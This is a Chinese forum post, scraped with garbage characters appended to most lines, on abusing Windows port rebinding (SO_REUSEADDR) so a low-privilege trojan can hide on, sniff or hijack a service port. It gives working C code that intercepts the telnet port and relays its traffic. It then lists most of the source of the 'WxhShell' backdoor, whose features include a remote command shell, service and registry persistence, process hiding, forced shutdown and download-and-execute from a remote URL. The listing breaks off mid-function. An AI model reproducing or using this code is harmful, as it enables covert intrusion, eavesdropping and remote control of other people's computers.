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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NhX.yLb$   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s#ZH.z@J  
IOl"Xgn5  
  saddr.sin_family = AF_INET; 7gcG|kKT  
2Zip8f!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Iq \oB  
>~~\==".  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mM>|fHGA  
4V8wB}y7e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pr(\?\a  
taaAwTtk?A  
  这意味着什么?意味着可以进行如下的攻击: ku8c)  
':4pH#E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ypo=y/!  
[bJnl>A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G[j79o  
]M;! ])b$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^/vWK\-  
sb.SpF>   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |>GIPfVT  
^#se4qQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -74T C  
3>v0W@C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *DzPkaYD>  
0EXNq*=EE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Dj(7'jT  
Pc== ]H(  
  #include _1Gut"!{\  
  #include @8yFM%  
  #include p5VSSvV\K  
  #include    u_=y,~s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,>v9 Y#U  
  int main() %[m1\h"1  
  { o1+]6s+j}  
  WORD wVersionRequested; ,6\f4/  
  DWORD ret; Z]\^.x9S  
  WSADATA wsaData; ',Pk>f]AB-  
  BOOL val; x~tQYK   
  SOCKADDR_IN saddr; 5N<v'6&=  
  SOCKADDR_IN scaddr; Z"Ni Y  
  int err; i]%"s_l  
  SOCKET s; olxP`iK  
  SOCKET sc; S'p`ECfVMA  
  int caddsize; KBA%  
  HANDLE mt; @A'1D@f#  
  DWORD tid;   T?{9Z  
  wVersionRequested = MAKEWORD( 2, 2 ); v=-3 ,C  
  err = WSAStartup( wVersionRequested, &wsaData ); Qp&yS U8  
  if ( err != 0 ) { z}8L}:  
  printf("error!WSAStartup failed!\n"); :=v{inN  
  return -1; Cbs4`D,  
  } ?^4sE-C6  
  saddr.sin_family = AF_INET; IkNt! 2s_  
   wQB{K3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N2s%p6RMPD  
6'! {0 5=m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R9G)X]  
  saddr.sin_port = htons(23); 9yw/-nA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =c^=Yvc7U  
  { WVK-dBU  
  printf("error!socket failed!\n"); chzR4"WZFt  
  return -1; D-:<]D:  
  } 0.+eF }'H  
  val = TRUE; pF+wH MhUe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +J8/,d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [iy;}5XK  
  { ~c$ts&Cl  
  printf("error!setsockopt failed!\n"); C?|3\@7  
  return -1; r ;8z"*  
  } N@a'd0oTd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eE`1;13;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $: m87cR~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 : ";D.{||  
~7WXjVZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #ic 2ofI  
  { ]Ja8i%LjOG  
  ret=GetLastError(); e4%*I8 ^e  
  printf("error!bind failed!\n"); :P~& b P  
  return -1; H<7DcwXv  
  } B&k T#  
  listen(s,2); G2{M#H  
  while(1) Cy:`pYxhd  
  { @Qjl`SL%O^  
  caddsize = sizeof(scaddr); slvs oN@  
  //接受连接请求 (jMAa%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^J~A+CEf"W  
  if(sc!=INVALID_SOCKET) TM}'XZ&  
  { P`I G9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (,c?}TP  
  if(mt==NULL) A-C)w/7  
  { ]O=S2Q  
  printf("Thread Creat Failed!\n"); -<JBKPtA  
  break; ww t()  
  } 1(7.V-(G  
  } uPC qO+f  
  CloseHandle(mt); nk|N.%E  
  } &z X 3  
  closesocket(s); giPo;z\c  
  WSACleanup(); JBEgiQ/  
  return 0; W%9K5(e  
  }   Y\Qxdq  
  DWORD WINAPI ClientThread(LPVOID lpParam) ])j|<W/  
  { \M"^Oe{Dy?  
  SOCKET ss = (SOCKET)lpParam; Hu(flc+z"  
  SOCKET sc; A~GtK\=;  
  unsigned char buf[4096]; VFmg"^k5  
  SOCKADDR_IN saddr; 2*q: ^  
  long num; &Pg-|Ql  
  DWORD val; K&IrTA j}  
  DWORD ret; Q}?N4kg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xm=^\K3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f,HzrHax  
  saddr.sin_family = AF_INET; io r [v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?}3PJVy?  
  saddr.sin_port = htons(23); j_'rhEdLP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @f5@0A\0  
  { Lr?4Y  
  printf("error!socket failed!\n"); t-7[Mk9@  
  return -1; ]pRfY9w  
  } E?gu(\an@  
  val = 100; 'W?v.W &  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JQ/t, v$G  
  { jo;uRl  
  ret = GetLastError(); ZG/8Ds  
  return -1; Ei9_h  
  } i B!hEbz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QTjftcu  
  { <V:<x  
  ret = GetLastError(); x\J;ZiWwW  
  return -1; 4$zFR}f  
  } ZkB6bji  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |;.Pj 3)-  
  { q 5v?`c  
  printf("error!socket connect failed!\n"); <f.>jjwFE  
  closesocket(sc); s\Pt,I@Y_  
  closesocket(ss); !(]dz~sM  
  return -1; l'7Mw%6{  
  } XHZ: mLf  
  while(1) P7wqZ?  
  { Z ]aK'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aq0iNbv@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "0H56#eW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oWx_O-_._  
  num = recv(ss,buf,4096,0); R7B,Q(q2-  
  if(num>0) bQdSX8: !R  
  send(sc,buf,num,0); 5Q$r@&qp  
  else if(num==0) G_^iR-  
  break; ^YG7dd_  
  num = recv(sc,buf,4096,0); )zW%\s*'  
  if(num>0) n-hvh-ZO  
  send(ss,buf,num,0); ]/o12pI  
  else if(num==0) Jny)uo8  
  break; Zc%foK{  
  } ckf<N9  
  closesocket(ss); RrO0uadmn  
  closesocket(sc); Q$3\ /mz  
  return 0 ; 77xq/c[)  
  } p]h*6nH>~  
`*" H/QG  
9QH9gdiw  
========================================================== 0eqi1;$b]  
xBL$]>  
下边附上一个代码,,WXhSHELL b'7z DZI]  
8Q^6ibE  
========================================================== *,W!FxJ  
5oU`[&=Ob  
#include "stdafx.h" r:c@17  
'_.q_Tf-^  
#include <stdio.h> Hbjb7Y?[  
#include <string.h> vnC<*k4&v  
#include <windows.h> <'}b*wUB  
#include <winsock2.h> p<=(GY-  
#include <winsvc.h> v@fe-T&0  
#include <urlmon.h> $(@o$%d  
"?.'{,Q  
#pragma comment (lib, "Ws2_32.lib") 4fw1_pv_D  
#pragma comment (lib, "urlmon.lib") @e! Zc3  
/ojO>Y[<   
#define MAX_USER   100 // 最大客户端连接数 Sa;<B:|  
#define BUF_SOCK   200 // sock buffer TvunjTpaj  
#define KEY_BUFF   255 // 输入 buffer m"gni #  
(odR'#  
#define REBOOT     0   // 重启 r zMFof  
#define SHUTDOWN   1   // 关机 29Gwv  
3XeXzPj  
#define DEF_PORT   5000 // 监听端口 9;0V  /y  
KE/-VjZu  
#define REG_LEN     16   // 注册表键长度 ?$|uT  
#define SVC_LEN     80   // NT服务名长度 W\@?e32  
9Z,*h-o  
// 从dll定义API {W5ydHXy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bJQ5- *F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aho'|%y)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cOSxg=~>u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eyeNrk*2o  
[G{rHSK5tQ  
// wxhshell配置信息 CM%|pB/z  
struct WSCFG { r}/yi  
  int ws_port;         // 监听端口 ;wij}y-6  
  char ws_passstr[REG_LEN]; // 口令 #XTY7,@ P  
  int ws_autoins;       // 安装标记, 1=yes 0=no [3O^0-:6E  
  char ws_regname[REG_LEN]; // 注册表键名 lx\qp`w  
  char ws_svcname[REG_LEN]; // 服务名 0U82f1ei  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cGgM8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _PXG AS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tcBC!_vF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R K"&l!o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <y@,3DD3A9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p91`<>Iw  
|@ikx{W  
}; V bg10pV0  
q} ]'Q -  
// default Wxhshell configuration j/)"QiS*?  
struct WSCFG wscfg={DEF_PORT, I jZ]_*^!  
    "xuhuanlingzhe", J=I:T2bV&s  
    1, ic%?uWN  
    "Wxhshell", .6>  hD1'  
    "Wxhshell", i 8l./Yt/  
            "WxhShell Service", XB0a dp  
    "Wrsky Windows CmdShell Service", &|v{#,ymeb  
    "Please Input Your Password: ", h ?uqLsRl  
  1, 06 QU  
  "http://www.wrsky.com/wxhshell.exe", 5Z/yhF.{  
  "Wxhshell.exe" duX0Mc. 0P  
    }; M]}l^ m>L  
2Y400  
// 消息定义模块 ;mEwQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cVO,~I\\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8g\wVKkTQp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 81~Kpx  
char *msg_ws_ext="\n\rExit."; A0G)imsW:_  
char *msg_ws_end="\n\rQuit.";  t?gJNOV  
char *msg_ws_boot="\n\rReboot..."; v`y6y8:>  
char *msg_ws_poff="\n\rShutdown..."; Z+g1~\  
char *msg_ws_down="\n\rSave to "; (2UW_l  
z0#-)AeS  
char *msg_ws_err="\n\rErr!"; mDE'<c`b4  
char *msg_ws_ok="\n\rOK!"; "r u]?{v  
/:bKqAz;M  
char ExeFile[MAX_PATH]; 'eD J@4Xm  
int nUser = 0; \[:PykS  
HANDLE handles[MAX_USER]; ac9qj  
int OsIsNt; v @:~mwy  
94\t1fE  
SERVICE_STATUS       serviceStatus; 2ck 4C/ h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ujU=JlJ7dl  
g %f*ofb  
// 函数声明 z9[[C^C  
int Install(void); YRPm^kW  
int Uninstall(void); {@?G 9UypA  
int DownloadFile(char *sURL, SOCKET wsh); Ck: 9gn  
int Boot(int flag); Rj^7#,993  
void HideProc(void); / /'Tck  
int GetOsVer(void); :z]}ZZ  
int Wxhshell(SOCKET wsl); {jjSJIV1  
void TalkWithClient(void *cs); MhNFW'_  
int CmdShell(SOCKET sock); # kyl?E  
int StartFromService(void); x<)G( Xe*  
int StartWxhshell(LPSTR lpCmdLine);  >1A*MP4  
l71 gf.4g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9Gca6e3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); - a y5  
O`WIkBV!  
// 数据结构和表定义 >&OUGu|  
SERVICE_TABLE_ENTRY DispatchTable[] = #/|75 4]]  
{ Z,K7Ot0  
{wscfg.ws_svcname, NTServiceMain}, (:5G#?6,  
{NULL, NULL} 9qKzS<"h  
}; [QT 1Ju64  
Wt^|BjbB4  
// 自我安装 !YiuwFt  
int Install(void) 98fu>>*G{  
{ h{k_6ym  
  char svExeFile[MAX_PATH]; tAjx\7IX  
  HKEY key; UfO7+_2  
  strcpy(svExeFile,ExeFile); 9IA$z\<<w  
SVagT'BB  
// 如果是win9x系统,修改注册表设为自启动 H6gU?9%  
if(!OsIsNt) { ' _dzcN,z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~]BMrgn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZsZcQj6G,  
  RegCloseKey(key); BYi)j6"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UNDi_6Dy   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9GgA6#  
  RegCloseKey(key); q_ %cbAcD  
  return 0; @b2`R3}9R  
    } c8{]]  
  } YD\]{,F|  
} *:_P8G;  
else { Q/ZkW  
+R6a}d/K  
// 如果是NT以上系统,安装为系统服务 n-o3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y:d{jG^  
if (schSCManager!=0) ;gMgj$mI  
{ F[saP0 *  
  SC_HANDLE schService = CreateService :~zv t  
  ( /4$4h;_8  
  schSCManager, Z)pz,  
  wscfg.ws_svcname, #D*r]M  
  wscfg.ws_svcdisp, F2 ~%zNe  
  SERVICE_ALL_ACCESS, g%xGOA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1f#mHt:(  
  SERVICE_AUTO_START, fr[3:2g-_  
  SERVICE_ERROR_NORMAL, 99=s4*xzM  
  svExeFile, R^*K6Ad  
  NULL, wvMW|  
  NULL, cu&,J#r%  
  NULL, ]JE TeZ^/  
  NULL, Z{R[Wx  
  NULL |>2FRPK  
  ); %+-C3\'  
  if (schService!=0) aRJcSV  
  { Jq ]:<TQ  
  CloseServiceHandle(schService); {_#yz\j  
  CloseServiceHandle(schSCManager); hXn3,3f3oZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YE}s  
  strcat(svExeFile,wscfg.ws_svcname); @]HXP_lyD/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w!SkWS b,~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l&$$w!n0w  
  RegCloseKey(key); @ O>&5gB1u  
  return 0; 8' K0L(3[  
    } w,1Ii}d9  
  } }P9Ap3?  
  CloseServiceHandle(schSCManager); s '?GH  
} .>pgU{C`!  
} zf[`~g  
8FkFM^\1L  
return 1; &v!WVa?  
} pV(lhDNoQ  
KCuG u}  
// 自我卸载 ,xI%A, (,;  
int Uninstall(void) 'b/ <x|  
{ 7@}$|u:JUF  
  HKEY key; 8K9$,Ii  
Ucdj4[/,h  
if(!OsIsNt) { T]T;$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }_ mT l@*  
  RegDeleteValue(key,wscfg.ws_regname); 4~z?"  
  RegCloseKey(key); ?BA^YF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PX(p X>  
  RegDeleteValue(key,wscfg.ws_regname); 8|Y.|\  
  RegCloseKey(key); "YU{Fkl#j  
  return 0; m~#%Q?_ %  
  } &o3K%M;C?  
} C'A]i5  
} 1 " #*)MF  
else { *e#<n_%R  
1w(JEqY3h:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xI*#(!x"G  
if (schSCManager!=0) LjB;;&VCn  
{ 8Q{9>^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l8h&|RY[  
  if (schService!=0) sZ<9A Xk-E  
  { CjIu[S1%  
  if(DeleteService(schService)!=0) { ]rN5Ao}2  
  CloseServiceHandle(schService); . lgPFr6X  
  CloseServiceHandle(schSCManager); *i{Y9f8  
  return 0; f.B>&%JRZ  
  } 6 sxffJt  
  CloseServiceHandle(schService); ^!8P<y  
  } U-k VNBs  
  CloseServiceHandle(schSCManager); 4*.K'(S5fx  
} @4$\ 5 %j  
} %ir:AS k  
Va VN  
return 1; in`aGFQO  
} &sXRN &Fp  
<#GB[kQa  
// 从指定url下载文件 gb=/#G0R  
int DownloadFile(char *sURL, SOCKET wsh) 6[E|  
{ F0vM0 e-  
  HRESULT hr; ?ULo&P[  
char seps[]= "/"; z+a%5J  
char *token; !2UOC P  
char *file; P|tNL}2`;  
char myURL[MAX_PATH]; `+:.L>5([  
char myFILE[MAX_PATH]; !HeSOzN  
^u}L;`L  
strcpy(myURL,sURL);  7R#+Le)  
  token=strtok(myURL,seps); *+'2?*  
  while(token!=NULL) (+<1*5BEkT  
  { E37<"(;  
    file=token; @+F4YJmB?l  
  token=strtok(NULL,seps); W|:lVAP.|}  
  } %ek'~  
Eodn/  
GetCurrentDirectory(MAX_PATH,myFILE); sVk$x:k1M  
strcat(myFILE, "\\"); 54-#QIx|  
strcat(myFILE, file); $;M:TpX  
  send(wsh,myFILE,strlen(myFILE),0); dz [!-M  
send(wsh,"...",3,0); r0d35  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~_IHaw$hg  
  if(hr==S_OK) RB* J=  
return 0; U7uKRv9  
else 4'4\ ,o  
return 1; iy.2A!f^.  
)*;zW! H  
} 'Jf^`ZT}  
!zj0/Q G\  
// 系统电源模块 /xGmg`g<#  
int Boot(int flag) ~c)~015`  
{ ^<e@uNGg  
  HANDLE hToken; mC?i}+4>4R  
  TOKEN_PRIVILEGES tkp; / N) W2  
@';B_iQ  
  if(OsIsNt) { b^D$jY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X|0R= n]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kg@>;(V&  
    tkp.PrivilegeCount = 1; }g#&Q0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8:BIbmtt5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?pgG,=?  
if(flag==REBOOT) { w.,Q1\*rPp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Le<w R  
  return 0; :1t~[-h^  
} 3d<HN6&U  
else { P=3RLL<l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W^3uEm&l!)  
  return 0; 322jR4QGr  
} ]EwVpvTw  
  } |-V&O=!^+  
  else { 1]IQg;q  
if(flag==REBOOT) { l]~n3IK"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "S 3wk=?4  
  return 0; DvvT?K  
} `n$5+a+  
else { lWBb4 !l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pV4Whq$  
  return 0; mUS_(0q  
} OHiQ7#y  
} w =. Fj  
[mEql,x3  
return 1; U=hlu  
} Y"-^%@|p  
k} ]T;|h]  
// win9x进程隐藏模块 \J+*  
void HideProc(void) 8NaqZ+5x  
{ ,`ZYvF^%  
+)2s-A f-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |t; ~:A  
  if ( hKernel != NULL ) G8Nt 8U~  
  { nqwAQhzy(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6s0_#wZC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c@v{`d  
    FreeLibrary(hKernel); cZ)}LX  
  } DW)2 m;  
DJgTA]$&  
return; <SI}lQ'i  
} ~ek$C  
[D*UT#FM  
// 获取操作系统版本 GnP|x}YM  
int GetOsVer(void) s21wxu:  
{ 7^w >Rj  
  OSVERSIONINFO winfo; NPFpq,P>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vN3Zr34  
  GetVersionEx(&winfo); l NQcYv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l}$ U])an#  
  return 1; "M|zv  
  else lFTF ,G  
  return 0; o.q/O)'V u  
} :n /@z4#  
|&Ym@Jyj  
// 客户端句柄模块 6252N]*  
int Wxhshell(SOCKET wsl) f4L`.~b'hb  
{ TEDAb >  
  SOCKET wsh; rj6#1kt  
  struct sockaddr_in client; $H+VA@_  
  DWORD myID; e["2QIOe  
LBF 1;zjK  
  while(nUser<MAX_USER) ?_I[,N?@41  
{ Nbp!teH6  
  int nSize=sizeof(client); ?B :a|0pf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'Ysx=  
  if(wsh==INVALID_SOCKET) return 1; hAHq\  
I4&::y^ C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M`ip~7"  
if(handles[nUser]==0) Yv:55+e!|  
  closesocket(wsh); y#XbJuN/  
else }#X8@  
  nUser++; It{;SKeo  
  } [,TkFbDq"J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JwJ7=P=c  
PssMTEf  
  return 0; 7EXI6jGJ|  
} )c8j}  
otk}y8  
// 关闭 socket U#3J0+!  
void CloseIt(SOCKET wsh) sP ls zC[  
{ +|tC'gCnV  
closesocket(wsh); N5 $c]E  
nUser--; =+AS/Jq  
ExitThread(0); Vb9',a?#n  
} Uh][@35 p  
n_'s=]~  
// 客户端请求句柄 b!)<-|IK  
void TalkWithClient(void *cs) TC<@e<-%Sq  
{ C:Hoq(  
R9B&dvG  
  SOCKET wsh=(SOCKET)cs; +"1NC\<*  
  char pwd[SVC_LEN]; {l |E:>Q2  
  char cmd[KEY_BUFF]; T8^5=/  
char chr[1]; < P`u}  
int i,j; 7U"[Gf  
",!1m7[wF  
  while (nUser < MAX_USER) { :sC qjz  
;&ASkI  
if(wscfg.ws_passstr) { 9~l hsH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _U/!4A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EOm:!D\  
  //ZeroMemory(pwd,KEY_BUFF); h(5P(`M  
      i=0; 8O Soel  
  while(i<SVC_LEN) { *V+j%^91}  
mW:!M!kk  
  // 设置超时 !H ~<  
  fd_set FdRead; W8]lBh5~:  
  struct timeval TimeOut; &8z[`JW,T  
  FD_ZERO(&FdRead); Z ,EvQ8i  
  FD_SET(wsh,&FdRead); / 4lvP  
  TimeOut.tv_sec=8; g H G  
  TimeOut.tv_usec=0; NOp609\^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V =-WYu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xKFn.qFr  
7PkJ-JBA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y*! qG  
  pwd=chr[0]; 2z|*xS'G  
  if(chr[0]==0xd || chr[0]==0xa) { &o<F7U'R  
  pwd=0; /r=tI)'$  
  break; ^.>jG I%rB  
  } I}t#%/'YA  
  i++; }X=[WCK U  
    } ?yj6CL(,  
Pcw6!xH  
  // 如果是非法用户,关闭 socket LGl2$#x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kS!viJwtT  
} W16,Alf:  
A]DTUdL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0$-xw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HvVts\f  
fXcm|U,ho  
while(1) { ZfB " E  
B` k\EL'  
  ZeroMemory(cmd,KEY_BUFF); phgm0D7  
]Oif|k`{  
      // 自动支持客户端 telnet标准   \.3D~2cU  
  j=0; tQylT0'[+o  
  while(j<KEY_BUFF) { L>YU,I\o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PpgP&;z4  
  cmd[j]=chr[0]; lhkwWbB  
  if(chr[0]==0xa || chr[0]==0xd) { YiPoYlD*n<  
  cmd[j]=0; d`F&aC  
  break; 4!LCR}K  
  } 7R\oj8[  
  j++; nG;8:f`  
    } xQ@^$_  
|JVk&8 ?8  
  // 下载文件 FD8N"p  
  if(strstr(cmd,"http://")) { |Z*J/v'@p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }5 (Ho$S(  
  if(DownloadFile(cmd,wsh)) HTyLJe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +mp@b942*  
  else <-u8~N@43W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X0n~-m"m  
  } %b"\bHH  
  else { 1[yq0^\]M[  
('hE r~&  
    switch(cmd[0]) { E~_]Lfs)  
  E8~}PQW:I  
  // 帮助 8f3vjK'  
  case '?': { YWxc-fPZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UNkCL4N  
    break; />9O R  
  } lHhUC16>  
  // 安装 z d-Tv`L#  
  case 'i': { EMfdBY5  
    if(Install()) EeF'&zE-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )kkhJI*v  
    else R@`y>XGNJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J;f!!<l\  
    break; 2!$gyu6bpG  
    } >J>b>SU=-  
  // 卸载 yn/rW$  
  case 'r': { %,k] [V  
    if(Uninstall()) m2v'WY5u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1)[]x9]^q'  
    else Xt'sQ}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y14W?|KOB  
    break; 57g</ p  
    } aM$W*- Y  
  // 显示 wxhshell 所在路径 f`&dQ,;  
  case 'p': { [ U w i  
    char svExeFile[MAX_PATH]; R]i7 $}n  
    strcpy(svExeFile,"\n\r"); x4/M}%h!;B  
      strcat(svExeFile,ExeFile); 4X *>H  
        send(wsh,svExeFile,strlen(svExeFile),0); HVC >9_:]  
    break; PK4iuU`vh  
    } ]TyisaT  
  // 重启 &JtV'@>v  
  case 'b': { ^tCd L@$AS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]C:l,I  
    if(Boot(REBOOT)) I*`*Q$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8{Fsm;UsY  
    else { dH^<t,v  
    closesocket(wsh); ,-OCc!7K  
    ExitThread(0); ~fo6*g:f1  
    } ]Qe{e3p;  
    break; b@2J]Ay E*  
    } jvQ*t_L  
  // 关机 Vb'7>  
  case 'd': { Q;D0<Bv  
